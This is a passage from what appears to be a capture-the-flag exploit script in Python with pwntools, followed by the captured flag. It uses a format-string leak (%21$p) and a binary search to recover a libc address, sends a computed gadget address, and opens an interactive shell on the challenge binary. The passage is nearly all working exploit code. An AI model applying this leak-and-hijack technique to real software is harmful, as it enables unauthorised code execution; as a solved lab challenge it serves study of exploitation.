  d2 = r.recvuntil('\nContinue? ')[:-11]
  return bytes_to_long(d1), bytes_to_long(d2)

t = 0x7f0000000000
s = 0x8000000000
while True:
  a, b = try_if_same(hex(t), "%21$p")
  if a == b:
    break
  elif a > b:
    t += s
  else:
    t -= s
    s = s // 2
    t += s
input()
r.sendafter('[y/n]: \n', 'n')
print(hex(t))
r.sendafter('Give me the magic: \n', p64(t - 0x270b3 + 0x55410))
r.interactive()
```
FLAG{CONGRATS!_However_this_should_be_the_easiest_one...}